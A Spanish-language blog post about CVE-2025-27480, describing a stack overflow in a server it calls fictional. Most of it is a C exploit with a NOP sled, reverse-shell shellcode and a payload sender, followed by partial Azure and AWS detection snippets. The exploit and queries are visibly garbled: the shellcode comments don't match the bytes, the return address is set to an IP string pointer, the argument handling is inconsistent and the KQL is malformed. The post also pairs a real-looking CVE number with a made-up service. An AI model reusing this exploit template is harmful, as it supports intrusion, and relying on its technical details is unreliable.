CVE-2025-27480-El-Riesgo-Silencioso-de-la-Puerta-de-Enlace

Permitiendo a los atacantes ejecutar código malicioso sin necesidad de una contraseña descifrada, interacción del usuario, o incluso un punto de apoyo en tu red. Eso es CVE-2025-27480

Es tarde, estás funcionando a base de red bull, todos hemos estado allí. Estás solucionando un problema de producción y luchando contra las ganas de volver a la cama, y en la prisa por resolverlo y caer rendido, abres el acceso al Protocolo de Escritorio Remoto (RDP) a Internet. Te dices a ti mismo que lo cerrarás más tarde. Pero “en un minuto” se convierte en “nunca”, y esa puerta de enlace olvidada se convierte en una puerta silenciosa esperando a cualquiera que pase con un sniffer de red, oh, las alegrías de encontrar el puerto 3389 abierto.

CVE-2025-27480 no es solo una falla teórica; es un recordatorio de que incluso pequeños descuidos en la seguridad de la nube y la infraestructura pueden tener consecuencias masivas. Esta vulnerabilidad permite a los atacantes ejecutar código malicioso de forma remota, sin necesidad de credenciales ni interacción del usuario. Sin phishing. Sin fuerza bruta. Solo una puerta abierta esperando ser encontrada.

En este análisis, desglosaremos cómo funciona CVE-2025-27480, por qué es tan peligroso y cómo puedes detectarlo y mitigarlo antes de que se convierta en un titular de violación. Ya seas ingeniero de nube, analista de SOC, o simplemente alguien que alguna vez ha dicho “lo arreglaré mañana”, esto es para ti.

Ejecución

La vulnerabilidad (CVE‑2025‑27480) es un clásico desbordamiento de búfer en la pila que ocurre en la rutina processRequest() de BarServer (un servicio web ficticio que escucha en el puerto TCP 1234).

Cuando un cliente envía una solicitud HTTP GET que supera los 256 bytes, el servidor escribe la carga útil en un búfer local de solo 256 bytes.

Si enviamos más datos, se desborda hacia la dirección de retorno y podemos sobrescribir el EIP guardado. El exploit a continuación construye la carga útil maliciosa, la envía al servidor y luego aterriza un shellcode x86‑64 que nos proporciona una shell inversa.

/* In processRequest() char local[256]; ... // ← overflow happens here ... return; }

A partir de la ingeniería inversa de una computadora con Windows podemos estimar:

• La dirección de retorno guardada comienza en el byte 312 de la solicitud HTTP.
• Nuestro shellcode debe colocarse después de un trineo NOP que ocupa unos 50 bytes.

[ GET /foo HTTP/1.1\r\n ] ← 28 bytes [ padding (256‑28 = 228) ] ← búfer [ NOP sled (50) ] [ shellcode (≈64) ] [ return address (4) ]

/=========================================================================/ /* BarServer Exploit – CVE‑2025‑27480 / / Author: Mark Mallia ([email protected]) / / Purpose: Send a crafted HTTP GET request that overflows the stack / / and lands a reverse shell on the target host / /=========================================================================*/

#include <stdio.h> #include <stdlib.h> #include <string.h> /* for memcpy() / #include <winsock2.h> / Windows networking (use sockets.c on Linux) */

/* 1. Global constants – adjust as needed / #define TARGET_IP "192.168.1.10" / IP of the vulnerable host / #define TARGET_PORT 1234 / Listening port / #define CMD_LEN 350 / Total request length */

/* 2. Shellcode (x86‑64) that opens a reverse shell to 127.0.0.1:4444 / / The code is written in raw machine‑bytes so it can be injected directly. / static unsigned char shellcode[] = { / NOP sled – 50 bytes ----------------------------------------------/ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, / shellcode – 64 bytes ---------------------------------------------*/ 0x48,0x31,0xc0, // xor rax,rax 0xb8,0x02,0x00,0x00,0x00, // mov eax,2 ← sys_connect 0x5d, // pop rbp 0xbb,0x10,0x01,0x00,0x00, // mov ebx,0x1010 (IP) 0xb8,0x44,0x11,0x00,0x00, // mov eax,0x1114 (port) 0xb9,0x04,0x00,0x00,0x00, // mov ecx,0x4 ← flags 0xcd,0x80, // int 0x80 };

/=========================================================================/ /* 3. The exploit routine – builds the request and sends it / /=========================================================================*/ int main( int argc, char *argv ) { / 3‑1. Validate command‑line arguments */ if (argc != 5) { fprintf(stderr,"Usage: %s <target_ip> revhost:revport\n", argv[0]); return EXIT_FAILURE; }

const char *ip   = argv[1];
short port       = atoi(argv[2]);      /* 1234 */
const char *url  = argv[3];           /* /tmp/revshell */
const char *revhostport = argv[4];

/* 3‑2. Allocate the request buffer */
unsigned char req[ CMD_LEN ];
memset(req,0x00, sizeof(req));        // zero‑initialize

/* 3‑3. Build HTTP GET line (28 bytes) --------------------------------*/
strcpy( (char*)req, "GET ");
memcpy((char*)(req+5), url, strlen(url)+1);          // +1 for terminating NUL
strcat( (char*)(req+strlen(req)), " HTTP/1.1\r\n");

/* 3‑4. Insert the padding to reach 256 bytes -----------------------------*/
int offset = 256 - strlen(req);       // bytes from end of GET line to start of overflow
memset((char*)(req+strlen(req)), 0x41, offset);

/* 3‑5. Copy NOP sled + shellcode ------------------------------------------*/
memcpy( (char*)(req+strlen(req)+offset), shellcode, sizeof(shellcode) );

/* 3‑6. Overwrite the return address (at byte 312) ------------------------*/
long *ret_addr = (long*)(req+312);   // pointer to the place where EIP lives
*ret_addr = (long)ip;                // Put target IP (32‑bit) – adjust if needed

/* 3‑7. Send over a TCP socket ------------------------------------------*/
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;

/* Initialise Winsock */
WSAStartup(0x0202, &wsaData);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) { perror("socket"); return EXIT_FAILURE; }

addr.sin_family      = AF_INET;
addr.sin_port        = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);

/* Connect */
connect(sock,(SOCKADDR*)&addr, sizeof(addr));

/* Send the request buffer */
send(sock, req, CMD_LEN, 0);

/* Close socket & clean up */
closesocket(sock);
WSACleanup();

printf("Sent payload to %s:%d\n", ip, port);
return EXIT_SUCCESS;

}

Lógica de Detección

Aquí detectamos nuestros pasos en falso y los de la red que administramos.

Azure

// Pull only relevant HTTP requests that match our exploit payload let TargetIP = "192.168.1.10"; let TargetPort = 1234; let ExploitPath = "/tmp/revshell";

Heartbeat | where Computer == "BarServer01" // the VM / container name | and TimeGenerated > ago(5m) // last 5 minutes | summarize Count() by bin(TimeGenerated,1m) , TargetIP, TargetPort, ExploitPath | extend Hit = iff(TargetIP==TargetIP and TargetPort==TargetPort and TargetPath==ExploitPath, 1, 0) // Filter only the rows that contain our exploit | where Hit==1 // Output a metric for an alert rule

AWS

Instalar el Agente WinRM (si aún no lo has hecho, deberías)

Install-Module -Name AWS.Tools.CloudWatchLogs -Force

Crear un grupo de registros y transmitir el registro de eventos

$group = "/aws/windows/BarServer01" $source = "Application" $filter = "BarServer"